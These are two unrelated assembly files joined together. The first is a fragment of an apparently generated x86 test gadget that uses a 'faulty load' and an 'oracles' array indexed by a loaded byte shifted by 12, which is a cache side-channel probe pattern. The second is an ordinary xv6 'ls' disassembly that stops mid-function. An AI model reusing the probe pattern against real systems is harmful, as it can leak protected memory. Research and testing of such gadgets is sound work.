inc %r11
movb (%r15), %dl
lea oracles, %rax
and $0xff, %rdx
shlq $12, %rdx
mov (%rax,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rax
pop %r9
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 0}}
{'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}}
{'33': 244}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
ls.asm | danilocapkob/xv6plus | 1 | 161390 | <gh_stars>1-10
_ls: file format elf32-i386-freebsd
Disassembly of section .text:
00000000 <fmtname>:
#include "fs.h"
char*
fmtname(char *path)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 53 push %ebx
4: 83 ec 24 sub $0x24,%esp
static char buf[DIRSIZ+1];
char *p;
// Find first character after last slash.
for(p=path+strlen(path); p >= path && *p != '/'; p--)
7: 8b 45 08 mov 0x8(%ebp),%eax
a: 89 04 24 mov %eax,(%esp)
d: e8 0e 04 00 00 call 420 <strlen>
12: 03 45 08 add 0x8(%ebp),%eax
15: 89 45 f8 mov %eax,0xfffffff8(%ebp)
18: eb 04 jmp 1e <fmtname+0x1e>
1a: 83 6d f8 01 subl $0x1,0xfffffff8(%ebp)
1e: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
21: 3b 45 08 cmp 0x8(%ebp),%eax
24: 72 0a jb 30 <fmtname+0x30>
26: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
29: 0f b6 00 movzbl (%eax),%eax
2c: 3c 2f cmp $0x2f,%al
2e: 75 ea jne 1a <fmtname+0x1a>
;
p++;
30: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp)
// Return blank-padded name.
if(strlen(p) >= DIRSIZ)
34: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
37: 89 04 24 mov %eax,(%esp)
3a: e8 e1 03 00 00 call 420 <strlen>
3f: 83 f8 0d cmp $0xd,%eax
42: 76 08 jbe 4c <fmtname+0x4c>
return p;
44: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
47: 89 45 e8 mov %eax,0xffffffe8(%ebp)
4a: eb 63 jmp af <fmtname+0xaf>
memmove(buf, p, strlen(p));
4c: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
4f: 89 04 24 mov %eax,(%esp)
52: e8 c9 03 00 00 call 420 <strlen>
57: 89 44 24 08 mov %eax,0x8(%esp)
5b: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
5e: 89 44 24 04 mov %eax,0x4(%esp)
62: c7 04 24 30 14 00 00 movl $0x1430,(%esp)
69: e8 72 05 00 00 call 5e0 <memmove>
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
6e: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
71: 89 04 24 mov %eax,(%esp)
74: e8 a7 03 00 00 call 420 <strlen>
79: 89 c2 mov %eax,%edx
7b: b8 0e 00 00 00 mov $0xe,%eax
80: 89 c3 mov %eax,%ebx
82: 29 d3 sub %edx,%ebx
84: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
87: 89 04 24 mov %eax,(%esp)
8a: e8 91 03 00 00 call 420 <strlen>
8f: 05 30 14 00 00 add $0x1430,%eax
94: 89 5c 24 08 mov %ebx,0x8(%esp)
98: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
9f: 00
a0: 89 04 24 mov %eax,(%esp)
a3: e8 a8 03 00 00 call 450 <memset>
return buf;
a8: c7 45 e8 30 14 00 00 movl $0x1430,0xffffffe8(%ebp)
af: 8b 45 e8 mov 0xffffffe8(%ebp),%eax
}
b2: 83 c4 24 add $0x24,%esp
b5: 5b pop %ebx
b6: 5d pop %ebp
b7: c3 ret
b8: 90 nop
b9: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
000000c0 <ls>:
void
ls(char *path)
{
c0: 55 push %ebp
c1: 89 e5 mov %esp,%ebp
c3: 57 push %edi
c4: 56 push %esi
c5: 53 push %ebx
c6: 81 ec 4c 02 00 00 sub $0x24c,%esp
char buf[512], *p;
int fd;
struct dirent de;
struct stat st;
if((fd = open(path, 0)) < 0){
cc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
d3: 00
d4: 8b 45 08 mov 0x8(%ebp),%eax
d7: 89 04 24 mov %eax,(%esp)
da: e8 85 05 00 00 call 664 <open>
df: 89 45 f0 mov %eax,0xfffffff0(%ebp)
e2: 83 7d f0 00 cmpl $0x0,0xfffffff0(%ebp)
e6: 79 20 jns 108 <ls+0x48>
printf(2, "ls: cannot open %s\n", path);
e8: 8b 45 08 mov 0x8(%ebp),%eax
eb: 89 44 24 08 mov %eax,0x8(%esp)
ef: c7 44 24 04 b4 13 00 movl $0x13b4,0x4(%esp)
f6: 00
f7: c7 04 24 02 00 00 00 movl $0x2,(%esp)
fe: e8 2d 07 00 00 call 830 <printf>
return;
103: e9 0e 02 00 00 jmp 316 <ls+0x256>
}
if(fstat(fd, &st) < 0){
108: 8d 85 cc fd ff ff lea 0xfffffdcc(%ebp),%eax
10e: 89 44 24 04 mov %eax,0x4(%esp)
112: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
115: 89 04 24 mov %eax,(%esp)
118: e8 5f 05 00 00 call 67c <fstat>
11d: 85 c0 test %eax,%eax
11f: 79 2b jns 14c <ls+0x8c>
printf(2, "ls: cannot stat %s\n", path);
121: 8b 45 08 mov 0x8(%ebp),%eax
124: 89 44 24 08 mov %eax,0x8(%esp)
128: c7 44 24 04 c8 13 00 movl $0x13c8,0x4(%esp)
12f: 00
130: c7 04 24 02 00 00 00 movl $0x2,(%esp)
137: e8 f4 06 00 00 call 830 <printf>
close(fd);
13c: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
13f: 89 04 24 mov %eax,(%esp)
142: e8 05 05 00 00 call 64c <close>
return;
147: e9 ca 01 00 00 jmp 316 <ls+0x256>
}
switch(st.type){
14c: 0f b7 85 d4 fd ff ff movzwl 0xfffffdd4(%ebp),%eax
153: 98 cwtl
154: 89 85 c0 fd ff ff mov %eax,0xfffffdc0(%ebp)
15a: 83 bd c0 fd ff ff 01 cmpl $0x1,0xfffffdc0(%ebp)
161: 74 58 je 1bb <ls+0xfb>
163: 83 bd c0 fd ff ff 02 cmpl $0x2,0xfffffdc0(%ebp)
16a: 74 05 je 171 <ls+0xb1>
16c: e9 9a 01 00 00 jmp 30b <ls+0x24b>
case T_FILE:
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
171: 8b 9d d8 fd ff ff mov 0xfffffdd8(%ebp),%ebx
177: 8b b5 d0 fd ff ff mov 0xfffffdd0(%ebp),%esi
17d: 0f b7 85 d4 fd ff ff movzwl 0xfffffdd4(%ebp),%eax
184: 0f bf f8 movswl %ax,%edi
187: 8b 45 08 mov 0x8(%ebp),%eax
18a: 89 04 24 mov %eax,(%esp)
18d: e8 6e fe ff ff call 0 <fmtname>
192: 89 5c 24 14 mov %ebx,0x14(%esp)
196: 89 74 24 10 mov %esi,0x10(%esp)
19a: 89 7c 24 0c mov %edi,0xc(%esp)
19e: 89 44 24 08 mov %eax,0x8(%esp)
1a2: c7 44 24 04 dc 13 00 movl $0x13dc,0x4(%esp)
1a9: 00
1aa: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b1: e8 7a 06 00 00 call 830 <printf>
break;
1b6: e9 50 01 00 00 jmp 30b <ls+0x24b>
case T_DIR:
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
1bb: 8b 45 08 mov 0x8(%ebp),%eax
1be: 89 04 24 mov %eax,(%esp)
1c1: e8 5a 02 00 00 call 420 <strlen>
1c6: 83 c0 10 add $0x10,%eax
1c9: 3d 00 02 00 00 cmp $0x200,%eax
1ce: 76 19 jbe 1e9 <ls+0x129>
printf(1, "ls: path too long\n");
1d0: c7 44 24 04 e9 13 00 movl $0x13e9,0x4(%esp)
1d7: 00
1d8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1df: e8 4c 06 00 00 call 830 <printf>
break;
1e4: e9 22 01 00 00 jmp 30b <ls+0x24b>
}
strcpy(buf, path);
1e9: 8b 45 08 mov 0x8(%ebp),%eax
1ec: 89 44 24 04 mov %eax,0x4(%esp)
1f0: 8d 85 ec fd ff ff lea 0xfffffdec(%ebp),%eax
1f6: 89 04 24 mov %eax,(%esp)
1f9: e8 92 01 00 00 call 390 <strcpy>
p = buf+strlen(buf);
1fe: 8d 85 ec fd ff ff lea 0xfffffdec(%ebp),%eax
204: 89 04 24 mov %eax,(%esp)
207: e8 14 02 00 00 call 420 <strlen>
20c: 89 c2 mov %eax,%edx
20e: 8d 85 ec fd ff ff lea 0xfffffdec(%ebp),%eax
214: 01 d0 add %edx,%eax
216: 89 45 ec mov %eax,0xffffffec(%ebp)
*p++ = '/';
219: 8b 45 ec mov 0xffffffec(%ebp),%eax
21c: c6 00 2f movb $0x2f,(%eax)
21f: 83 45 ec 01 addl $0x1,0xffffffec(%ebp)
while(read(fd, &de, sizeof(de)) == sizeof(de)){
223: e9 bd 00 00 00 jmp 2e5 <ls+0x225>
if(de.inum == 0)
228: 0f b7 85 dc fd ff ff movzwl 0xfffffddc(%ebp),%eax
22f: 66 85 c0 test %ax,%ax
232: 0f 84 ad 00 00 00 je 2e5 <ls+0x225>
continue;
memmove(p, de.name, DIRSIZ);
238: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
23f: 00
240: 8d 85 dc fd ff ff lea 0xfffffddc(%ebp),%eax
246: 83 c0 02 add $0x2,%eax
249: 89 44 24 04 mov %eax,0x4(%esp)
24d: 8b 45 ec mov 0xffffffec(%ebp),%eax
250: 89 04 24 mov %eax,(%esp)
253: e8 88 03 00 00 call 5e0 <memmove>
p[DIRSIZ] = 0;
258: 8b 45 ec mov 0xffffffec(%ebp),%eax
25b: 83 c0 0e add $0xe,%eax
25e: c6 00 00 movb $0x0,(%eax)
if(stat(buf, &st) < 0){
261: 8d 85 cc fd ff ff lea 0xfffffdcc(%ebp),%eax
267: 89 44 24 04 mov %eax,0x4(%esp)
26b: 8d 85 ec fd ff ff lea 0xfffffdec(%ebp),%eax
271: 89 04 24 mov %eax,(%esp)
274: e8 b7 02 00 00 call 530 <stat>
279: 85 c0 test %eax,%eax
27b: 79 20 jns 29d <ls+0x1dd>
printf(1, "ls: cannot stat %s\n", buf);
27d: 8d 85 ec fd ff ff lea 0xfffffdec(%ebp),%eax
283: 89 44 24 08 mov %eax,0x8(%esp)
287: c7 44 24 04 c8 13 00 movl $0x13c8,0x4(%esp)
28e: 00
28f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
296: e8 95 05 00 00 call 830 <printf>
continue;
29b: eb 48 jmp 2e5 <ls+0x225>
}
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
29d: 8b 9d d8 fd ff ff mov 0xfffffdd8(%ebp),%ebx
2a3: 8b b5 d0 fd ff ff mov 0xfffffdd0(%ebp),%esi
2a9: 0f b7 85 d4 fd ff ff movzwl 0xfffffdd4(%ebp),%eax
2b0: 0f bf f8 movswl %ax,%edi
2b3: 8d 85 ec fd ff ff lea 0xfffffdec(%ebp),%eax
2b9: 89 04 24 mov %eax,(%esp)
2bc: e8 3f fd ff ff call 0 <fmtname>
2c1: 89 5c 24 14 mov %ebx,0x14(%esp)
2c5: 89 74 24 10 mov %esi,0x10(%esp)
2c9: 89 7c 24 0c mov %edi,0xc(%esp)
2cd: 89 44 24 08 mov %eax,0x8(%esp)
2d1: c7 44 24 04 dc 13 00 movl $0x13dc,0x4(%esp)
2d8: 00
2d9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e0: e8 4b 05 00 00 call 830 <printf>
2e5: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
2ec: 00
2ed: 8d 85 dc fd ff ff lea 0xfffffddc(%ebp),%eax
2f3: 89 44 24 04 mov %eax,0x4(%esp)
2f7: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
2fa: 89 04 24 mov %eax,(%esp)
2fd: e8 3a 03 00 00 call 63c <read>
302: 83 f8 10 cmp $0x10,%eax
305: 0f 84 1d ff ff ff je 228 <ls+0x168>
}
break;
}
close(fd);
30b: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
30e: 89 04 24 mov %eax,(%esp)
311: e8 36 03 00 00 call 64c <close>
}
316: 81 c4 4c 02 00 00 add $0x24c,%esp
31c: 5b pop %ebx
31d: 5e pop %esi
31e: 5f pop %edi
31f: 5d pop %ebp
320: c3 ret
321: eb 0d jmp 330 <main>
323: 90 nop
324: 90 nop
325: 90 nop
326: 90 nop
327: 90 nop
328: 90 nop
329: 90 nop
32a: 90 nop
32b: 90 nop
32c: 90 nop
32d: 90 nop
32e: 90 nop
32f: 90 nop
00000330 <main>:
int
main(int argc, char *argv[])
{
330: 8d 4c 24 04 lea 0x4(%esp),%ecx
334: 83 e4 f0 and $0xfffffff0,%esp
337: ff 71 fc pushl 0xfffffffc(%ecx)
33a: 55 push %ebp
33b: 89 e5 mov %esp,%ebp
33d: 51 push %ecx
33e: 83 ec 24 sub $0x24,%esp
341: 89 4d e8 mov %ecx,0xffffffe8(%ebp)
int i;
if(argc < 2){
344: 8b 45 e8 mov 0xffffffe8(%ebp),%eax
347: 83 38 01 cmpl $0x1,(%eax)
34a: 7f 11 jg 35d <main+0x2d>
ls(".");
34c: c7 04 24 fc 13 00 00 movl $0x13fc,(%esp)
353: e8 68 fd ff ff call c0 <ls>
exit();
358: e8 c7 02 00 00 call 624 <exit>
}
for(i=1; i<argc; i++)
35d: c7 45 f8 01 00 00 00 movl $0x1,0xfffffff8(%ebp)
364: eb 1a jmp 380 <main+0x50>
ls(argv[i]);
366: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
369: c1 e0 02 shl $0x2,%eax
36c: 8b 55 e8 mov 0xffffffe8(%ebp),%edx
36f: 03 42 04 add 0x4(%edx),%eax
372: 8b 00 mov (%eax),%eax
374: 89 04 24 mov %eax,(%esp)
377: e8 44 fd ff ff call c0 <ls>
37c: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp)
380: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
383: 8b 55 e8 mov 0xffffffe8(%ebp),%edx
386: 3b 02 cmp (%edx),%eax
388: 7c dc jl 366 <main+0x36>
exit();
38a: e8 95 02 00 00 call 624 <exit>
38f: 90 nop
00000390 <strcpy>:
#include "user.h"
char*
strcpy(char *s, char *t)
{
390: 55 push %ebp
391: 89 e5 mov %esp,%ebp
393: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
396: 8b 45 08 mov 0x8(%ebp),%eax
399: 89 45 fc mov %eax,0xfffffffc(%ebp)
while((*s++ = *t++) != 0)
39c: 8b 45 0c mov 0xc(%ebp),%eax
39f: 0f b6 10 movzbl (%eax),%edx
3a2: 8b 45 08 mov 0x8(%ebp),%eax
3a5: 88 10 mov %dl,(%eax)
3a7: 8b 45 08 mov 0x8(%ebp),%eax
3aa: 0f b6 00 movzbl (%eax),%eax
3ad: 84 c0 test %al,%al
3af: 0f 95 c0 setne %al
3b2: 83 45 08 01 addl $0x1,0x8(%ebp)
3b6: 83 45 0c 01 addl $0x1,0xc(%ebp)
3ba: 84 c0 test %al,%al
3bc: 75 de jne 39c <strcpy+0xc>
;
return os;
3be: 8b 45 fc mov 0xfffffffc(%ebp),%eax
}
3c1: c9 leave
3c2: c3 ret
3c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3c9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
000003d0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
3d0: 55 push %ebp
3d1: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
3d3: eb 08 jmp 3dd <strcmp+0xd>
p++, q++;
3d5: 83 45 08 01 addl $0x1,0x8(%ebp)
3d9: 83 45 0c 01 addl $0x1,0xc(%ebp)
3dd: 8b 45 08 mov 0x8(%ebp),%eax
3e0: 0f b6 00 movzbl (%eax),%eax
3e3: 84 c0 test %al,%al
3e5: 74 10 je 3f7 <strcmp+0x27>
3e7: 8b 45 08 mov 0x8(%ebp),%eax
3ea: 0f b6 10 movzbl (%eax),%edx
3ed: 8b 45 0c mov 0xc(%ebp),%eax
3f0: 0f b6 00 movzbl (%eax),%eax
3f3: 38 c2 cmp %al,%dl
3f5: 74 de je 3d5 <strcmp+0x5>
return (uchar)*p - (uchar)*q;
3f7: 8b 45 08 mov 0x8(%ebp),%eax
3fa: 0f b6 00 movzbl (%eax),%eax
3fd: 0f b6 d0 movzbl %al,%edx
400: 8b 45 0c mov 0xc(%ebp),%eax
403: 0f b6 00 movzbl (%eax),%eax
406: 0f b6 c0 movzbl %al,%eax
409: 89 d1 mov %edx,%ecx
40b: 29 c1 sub %eax,%ecx
40d: 89 c8 mov %ecx,%eax
}
40f: 5d pop %ebp
410: c3 ret
411: eb 0d jmp 420 <strlen>
413: 90 nop
414: 90 nop
415: 90 nop
416: 90 nop
417: 90 nop
418: 90 nop
419: 90 nop
41a: 90 nop
41b: 90 nop
41c: 90 nop
41d: 90 nop
41e: 90 nop
41f: 90 nop
00000420 <strlen>:
uint
strlen(char *s)
{
420: 55 push %ebp
421: 89 e5 mov %esp,%ebp
423: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
426: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
42d: eb 04 jmp 433 <strlen+0x13>
42f: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp)
433: 8b 45 fc mov 0xfffffffc(%ebp),%eax
436: 03 45 08 add 0x8(%ebp),%eax
439: 0f b6 00 movzbl (%eax),%eax
43c: 84 c0 test %al,%al
43e: 75 ef jne 42f <strlen+0xf>
;
return n;
440: 8b 45 fc mov 0xfffffffc(%ebp),%eax
}
443: c9 leave
444: c3 ret
445: 8d 74 26 00 lea 0x0(%esi),%esi
449: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
00000450 <memset>:
void*
memset(void *dst, int c, uint n)
{
450: 55 push %ebp
451: 89 e5 mov %esp,%ebp
453: 83 ec 10 sub $0x10,%esp
char *d;
d = dst;
456: 8b 45 08 mov 0x8(%ebp),%eax
459: 89 45 fc mov %eax,0xfffffffc(%ebp)
while(n-- > 0)
45c: eb 0e jmp 46c <memset+0x1c>
*d++ = c;
45e: 8b 45 0c mov 0xc(%ebp),%eax
461: 89 c2 mov %eax,%edx
463: 8b 45 fc mov 0xfffffffc(%ebp),%eax
466: 88 10 mov %dl,(%eax)
468: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp)
46c: 83 6d 10 01 subl $0x1,0x10(%ebp)
470: 83 7d 10 ff cmpl $0xffffffff,0x10(%ebp)
474: 75 e8 jne 45e <memset+0xe>
return dst;
476: 8b 45 08 mov 0x8(%ebp),%eax
}
479: c9 leave
47a: c3 ret
47b: 90 nop
47c: 8d 74 26 00 lea 0x0(%esi),%esi
00000480 <strchr>:
char*
strchr(const char *s, char c)
{
480: 55 push %ebp
481: 89 e5 mov %esp,%ebp
483: 83 ec 08 sub $0x8,%esp
486: 8b 45 0c mov 0xc(%ebp),%eax
489: 88 45 fc mov %al,0xfffffffc(%ebp)
for(; *s; s++)
48c: eb 17 jmp 4a5 <strchr+0x25>
if(*s == c)
48e: 8b 45 08 mov 0x8(%ebp),%eax
491: 0f b6 00 movzbl (%eax),%eax
494: 3a 45 fc cmp 0xfffffffc(%ebp),%al
497: 75 08 jne 4a1 <strchr+0x21>
return (char*) s;
499: 8b 45 08 mov 0x8(%ebp),%eax
49c: 89 45 f8 mov %eax,0xfffffff8(%ebp)
49f: eb 15 jmp 4b6 <strchr+0x36>
4a1: 83 45 08 01 addl $0x1,0x8(%ebp)
4a5: 8b 45 08 mov 0x8(%ebp),%eax
4a8: 0f b6 00 movzbl (%eax),%eax
4ab: 84 c0 test %al,%al
4ad: 75 df jne 48e <strchr+0xe>
return 0;
4af: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp)
4b6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
}
4b9: c9 leave
4ba: c3 ret
4bb: 90 nop
4bc: 8d 74 26 00 lea 0x0(%esi),%esi
000004c0 <gets>:
char*
gets(char *buf, int max)
{
4c0: 55 push %ebp
4c1: 89 e5 mov %esp,%ebp
4c3: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
4c6: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp)
4cd: eb 46 jmp 515 <gets+0x55>
cc = read(0, &c, 1);
4cf: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4d6: 00
4d7: 8d 45 f7 lea 0xfffffff7(%ebp),%eax
4da: 89 44 24 04 mov %eax,0x4(%esp)
4de: c7 04 24 00 00 00 00 movl $0x0,(%esp)
4e5: e8 52 01 00 00 call 63c <read>
4ea: 89 45 fc mov %eax,0xfffffffc(%ebp)
if(cc < 1)
4ed: 83 7d fc 00 cmpl $0x0,0xfffffffc(%ebp)
4f1: 7e 2d jle 520 <gets+0x60>
break;
buf[i++] = c;
4f3: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
4f6: 89 c2 mov %eax,%edx
4f8: 03 55 08 add 0x8(%ebp),%edx
4fb: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax
4ff: 88 02 mov %al,(%edx)
501: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp)
if(c == '\n' || c == '\r')
505: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax
509: 3c 0a cmp $0xa,%al
50b: 74 13 je 520 <gets+0x60>
50d: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax
511: 3c 0d cmp $0xd,%al
513: 74 0b je 520 <gets+0x60>
515: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
518: 83 c0 01 add $0x1,%eax
51b: 3b 45 0c cmp 0xc(%ebp),%eax
51e: 7c af jl 4cf <gets+0xf>
break;
}
buf[i] = '\0';
520: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
523: 03 45 08 add 0x8(%ebp),%eax
526: c6 00 00 movb $0x0,(%eax)
return buf;
529: 8b 45 08 mov 0x8(%ebp),%eax
}
52c: c9 leave
52d: c3 ret
52e: 89 f6 mov %esi,%esi
00000530 <stat>:
int
stat(char *n, struct stat *st)
{
530: 55 push %ebp
531: 89 e5 mov %esp,%ebp
533: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
536: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
53d: 00
53e: 8b 45 08 mov 0x8(%ebp),%eax
541: 89 04 24 mov %eax,(%esp)
544: e8 1b 01 00 00 call 664 <open>
549: 89 45 f8 mov %eax,0xfffffff8(%ebp)
if(fd < 0)
54c: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
550: 79 09 jns 55b <stat+0x2b>
return -1;
552: c7 45 ec ff ff ff ff movl $0xffffffff,0xffffffec(%ebp)
559: eb 26 jmp 581 <stat+0x51>
r = fstat(fd, st);
55b: 8b 45 0c mov 0xc(%ebp),%eax
55e: 89 44 24 04 mov %eax,0x4(%esp)
562: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
565: 89 04 24 mov %eax,(%esp)
568: e8 0f 01 00 00 call 67c <fstat>
56d: 89 45 fc mov %eax,0xfffffffc(%ebp)
close(fd);
570: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
573: 89 04 24 mov %eax,(%esp)
576: e8 d1 00 00 00 call 64c <close>
return r;
57b: 8b 45 fc mov 0xfffffffc(%ebp),%eax
57e: 89 45 ec mov %eax,0xffffffec(%ebp)
581: 8b 45 ec mov 0xffffffec(%ebp),%eax
}
584: c9 leave
585: c3 ret
586: 8d 76 00 lea 0x0(%esi),%esi
589: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
00000590 <atoi>:
int
atoi(const char *s)
{
590: 55 push %ebp
591: 89 e5 mov %esp,%ebp
593: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
596: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
while('0' <= *s && *s <= '9')
59d: eb 24 jmp 5c3 <atoi+0x33>
n = n*10 + *s++ - '0';
59f: 8b 55 fc mov 0xfffffffc(%ebp),%edx
5a2: 89 d0 mov %edx,%eax
5a4: c1 e0 02 shl $0x2,%eax
5a7: 01 d0 add %edx,%eax
5a9: 01 c0 add %eax,%eax
5ab: 89 c2 mov %eax,%edx
5ad: 8b 45 08 mov 0x8(%ebp),%eax
5b0: 0f b6 00 movzbl (%eax),%eax
5b3: 0f be c0 movsbl %al,%eax
5b6: 8d 04 02 lea (%edx,%eax,1),%eax
5b9: 83 e8 30 sub $0x30,%eax
5bc: 89 45 fc mov %eax,0xfffffffc(%ebp)
5bf: 83 45 08 01 addl $0x1,0x8(%ebp)
5c3: 8b 45 08 mov 0x8(%ebp),%eax
5c6: 0f b6 00 movzbl (%eax),%eax
5c9: 3c 2f cmp $0x2f,%al
5cb: 7e 0a jle 5d7 <atoi+0x47>
5cd: 8b 45 08 mov 0x8(%ebp),%eax
5d0: 0f b6 00 movzbl (%eax),%eax
5d3: 3c 39 cmp $0x39,%al
5d5: 7e c8 jle 59f <atoi+0xf>
return n;
5d7: 8b 45 fc mov 0xfffffffc(%ebp),%eax
}
5da: c9 leave
5db: c3 ret
5dc: 8d 74 26 00 lea 0x0(%esi),%esi
000005e0 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
5e0: 55 push %ebp
5e1: 89 e5 mov %esp,%ebp
5e3: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
5e6: 8b 45 08 mov 0x8(%ebp),%eax
5e9: 89 45 f8 mov %eax,0xfffffff8(%ebp)
src = vsrc;
5ec: 8b 45 0c mov 0xc(%ebp),%eax
5ef: 89 45 fc mov %eax,0xfffffffc(%ebp)
while(n-- > 0)
5f2: eb 13 jmp 607 <memmove+0x27>
*dst++ = *src++;
5f4: 8b 45 fc mov 0xfffffffc(%ebp),%eax
5f7: 0f b6 10 movzbl (%eax),%edx
5fa: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
5fd: 88 10 mov %dl,(%eax)
